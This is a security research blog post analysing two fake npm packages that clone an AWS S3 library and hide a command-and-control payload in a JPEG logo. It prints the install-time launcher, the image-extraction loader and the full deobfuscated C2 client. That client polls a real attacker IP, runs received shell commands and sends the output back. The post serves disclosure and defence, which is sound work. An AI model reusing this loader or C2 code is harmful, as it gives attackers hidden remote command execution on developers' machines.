Fake AWS Packages Ship Command and Control Malware In JPEG Files

blog.phylum.io/fake-aws-packages-ship-command-and-control-malware-in-jpeg-files/

Phylum Research Team July 14, 2024

On July 13, 2024, the Phylum platform alerted us to a series of odd packages published to the npm package registry. At first glance, these packages appear entirely legitimate; however, as our system automatically noted, they contained sophisticated command and control functionality hidden in image files that would be executed during package installation.

--cta--

A Clone of Legitimate Projects

Hiding payloads in images is not a new concept. In May of this year, we saw similar activity in PyPI packages. However, when an attacker tries to hide their payloads so deeply, we can only assume they are sophisticated and operating with clear malicious intent.

To date, we have identified two packages in this campaign. The first of these packages **`img-aws-s3-object-multipart-copy`**, appears to be a copy of the legitimate library aws-s3-object-multipart-copy on GitHub. In the malicious version, however, the actor has updated the `index.js` file to execute a *new* script - `loadformat.js` - that they have added to the package bundle.

```
const loadFormatScriptPath = path.join(__dirname, 'dist', 'loadformat.js');

                    function executeLoadFormat() {
      const loadFormatProcess = spawn('node', [loadFormatScriptPath], {
                                detached: true,
                                stdio: 'ignore'
                                    });

                              loadFormatProcess.unref();

                          loadFormatProcess.on('close', (code) => {
                        console.log(`Process exited with code ${code}`);
                                    });
                                   }

                              executeLoadFormat();
```

Code addition to the otherwise legitimate `index.js`

Image Processing To Execution

Analyzing the `loadformat.js` file, we find what appears to be some fairly innocuous image analysis code.

```
const fs = require('fs');
const https = require('https');
const { exec } = require('child_process');
const os = require('os');

function analyzePixels(data) {
    let totalBrightness = 0;
    for (let i = 0; i < data.length; i += 3) {
        const r = data[i];
        const g = data[i + 1];
        const b = data[i + 2];
        totalBrightness += (r + g + b) / 3;
    }
    const averageBrightness = totalBrightness / (data.length / 3);
    console.log(`Average brightness calculated: ${averageBrightness}`);
}

function processImage(filePath) {
    console.log("Processing image...");
    const data = fs.readFileSync(filePath);
    let analyzepixels = "";
    let convertertree = false;

    for (let i = 0; i < data.length; i++) {
        const value = data[i];
        if (value >= 32 && value <= 126) {
            analyzepixels += String.fromCharCode(value);
        } else {
            if (analyzepixels.length > 2000) {
                convertertree = true;
                break;
            }
            analyzepixels = "";
        }
    }

    analyzePixels(data);

```

However, upon closer review, we see that this code is doing a few interesting things, resulting in execution on the victim machine.

After reading the image file from the disk, each byte is analyzed. Any bytes with a value between 32 and 126 are converted from Unicode values into a character and appended to the `analyzepixels` variable.

```
function processImage(filePath) {
    console.log("Processing image...");
    const data = fs.readFileSync(filePath);
    let analyzepixels = "";
    let convertertree = false;

    for (let i = 0; i < data.length; i++) {
        const value = data[i];
        if (value >= 32 && value <= 126) {
            analyzepixels += String.fromCharCode(value);
        } else {
            if (analyzepixels.length > 2000) {
                convertertree = true;
                break;
            }
            analyzepixels = "";
        }
    }

    // ...
```

The threat actor then defines two distinct bodies of a function and stores each in their own variables, `imagebyte` and `analyzePixels`.

```
let analyzePixels = `
    if (false) {
        exec("node -v", (error, stdout, stderr) => {
            console.log(stdout);
        });
    }
    console.log("check nodejs version...");
    `;

let imagebyte = `
    const httpsOptions = {
        hostname: 'cloudconvert.com',
        path: '/image-converter',
        method: 'POST'
    };
    const req = https.request(httpsOptions, res => {
        console.log('Status Code:', res.statusCode);
    });
    req.on('error', error => {
        console.error(error);
    });
    req.end();
    console.log("Executing operation...");
    `;
```

If `convertertree` is set to `true`, `imagebyte` is set to `analyzepixels`. In plain language, if `converttree` is set, it will execute whatever is contained in the script we extracted from the image file.

```
if (convertertree) {
        console.log("Optimization complete. Applying advanced features...");
        imagebyte = analyzepixels;
} else {
        console.log("Optimization complete. No advanced features applied.");
}
```

Looking back above, we note that `convertertree` will be set to `true` if the length of the bytes found in the image is greater than 2,000.

```
if (analyzepixels.length > 2000) {
  convertertree = true;
  break;
}
```

The author then creates a new function using either code that sends an empty POST request to `cloudconvert.com` or initiates executing whatever was extracted from the image files.

```
const func = new Function('https', 'exec', 'os', imagebyte);
func(https, exec, os);
```

The lingering question is, *what is contained in the images that this is trying to execute?*

Command-and-Control in a JPEG

Looking at the bottom of the `loadformat.js` file, we see the following:

```
processImage('logo1.jpg');
processImage('logo2.jpg');
processImage('logo3.jpg');
```

We find these three files in the package's root, which are included below without modification, unless otherwise noted.

Appears as `logo1.jpg` in the package

Appears as `logo2.jpg` in the package

Appears as `logo3.jpg` in the package. Modified here as the file is corrupted and in some cases would not display properly.

If we run each of these through the `processImage(...)` function from above, we find that the Intel image (i.e., `logo1.jpg`) does not contain enough "valid" bytes to set the `converttree` variable to `true`. The same goes for `logo3.jpg`, the AMD logo. However, for the Microsoft logo (`logo2.jpg`), we find the following, formatted for readability:

```
let fetchInterval = 0x1388;
let intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);
const clientInfo = {
  'name': os.hostname(),
  'os': os.type() + " " + os.release()
};
const agent = new https.Agent({
  'rejectUnauthorized': false
});
function registerClient() {
  const _0x47c6de = JSON.stringify(clientInfo);
  const _0x5a10c1 = {
    'hostname': "85.208.108.29",
    'port': 0x1bb,
    'path': "/register",
    'method': "POST",
    'headers': {
      'Content-Type': "application/json",
      'Content-Length': Buffer.byteLength(_0x47c6de)
    },
    'agent': agent
  };
  const _0x38f695 = https.request(_0x5a10c1, _0x454719 => {
    console.log("Registered with server as " + clientInfo.name);
  });
  _0x38f695.on("error", _0x1159ec => {
    console.error("Problem with registration: " + _0x1159ec.message);
  });
  _0x38f695.write(_0x47c6de);
  _0x38f695.end();
}
function fetchAndExecuteCommand() {
  const _0x2dae30 = {
    'hostname': "85.208.108.29",
    'port': 0x1bb,
    'path': "/get-command?clientId=" + encodeURIComponent(clientInfo.name),
    'method': "GET",
    'agent': agent
  };
  https.get(_0x2dae30, _0x4a0c09 => {
    let _0x41cd12 = '';
    _0x4a0c09.on("data", _0x5cbbc5 => {
      _0x41cd12 += _0x5cbbc5.toString();
    });
    _0x4a0c09.on("end", () => {
      console.log("Received command:", _0x41cd12);
      if (_0x41cd12.startsWith('setInterval:')) {
        const _0x1e3896 = parseInt(_0x41cd12.split(':')[0x1], 0xa);
        if (!isNaN(_0x1e3896) && _0x1e3896 > 0x0) {
          clearInterval(intervalId);
          fetchInterval = _0x1e3896 * 0x3e8;
          intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);
```

```
          console.log("Interval has been updated to " + _0x1e3896 + " seconds.");
        } else {
          console.log("Invalid interval command received.");
        }
      } else {
        if (_0x41cd12.startsWith("cd ")) {
          const _0x58bd7d = _0x41cd12.substring(0x3).trim();
          try {
            process.chdir(_0x58bd7d);
            console.log("Changed directory to " + process.cwd());
          } catch (_0x2ee272) {
            console.error("Change directory failed: " + _0x2ee272);
          }
        } else if (_0x41cd12 !== "No commands") {
          exec(_0x41cd12, {
            'cwd': process.cwd()
          }, (_0x5da676, _0x1ae10c, _0x46788b) => {
            let _0x4a96cd = _0x1ae10c;
            if (_0x5da676) {
              console.error("exec error: " + _0x5da676);
              _0x4a96cd += "\\nError: " + _0x46788b;
            }
            postResult(_0x4a96cd);
          });
        } else {
          console.log("No commands to execute");
        }
      }
    });
  }).on("error", _0x2e8190 => {
    console.error("Got error: " + _0x2e8190.message);
  });
}
function postResult(_0x1d73c1) {
  const _0xc05626 = {
    'hostname': "85.208.108.29",
    'port': 0x1bb,
    'path': "/post-result?clientId=" + encodeURIComponent(clientInfo.name),
    'method': "POST",
    'headers': {
      'Content-Type': "text/plain",
      'Content-Length': Buffer.byteLength(_0x1d73c1)
    },
    'agent': agent
  };
  const _0x2fcb05 = https.request(_0xc05626, _0x448ba6 => {
    console.log("Result sent to the server");
  });
  _0x2fcb05.on('error', _0x1f60a7 => {
    console.error("Problem with request: " + _0x1f60a7.message);
  });
  _0x2fcb05.write(_0x1d73c1);
```

```
  _0x2fcb05.end();
}
registerClient();
```

This code first registers the new client with the remote C2 by sending the following `clientInfo` to `85.208.108.29`.

```
const clientInfo = {
  'name': os.hostname(),
  'os': os.type() + " " + os.release()
};
```

It then sets up an interval that periodically loops through and fetches commands from the attacker every 5 seconds.

```
let fetchInterval = 0x1388;
let intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);
```

Received commands are executed on the device, and the output is sent back to the attacker on the endpoint `/post-results?clientId=<targetClientInfoName>`.

Conclusion

We have reported these packages for removal, however the malicious packages remained available on npm for nearly two days. This is worrying as it implies that most systems are unable to detect and promptly report on these packages, leaving developers vulnerable to attack for longer periods of time.

In the last few years, we've seen a dramatic rise in the sophistication and volume of malicious packages published to open source ecosystems. Make no mistake, these attacks *are successful.* It is absolutely imperative that developers and security organizations alike are keenly aware of this fact and are deeply vigilant with regard to open source libraries they consume.

IOCs

- Packages `img-aws-s3-object-multipart-copy`, `legacyaws-s3-object-multipart-copy`
- `85.208.108.29`

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.

Subscribe to our research

Keep up with the latest software supply chain attacks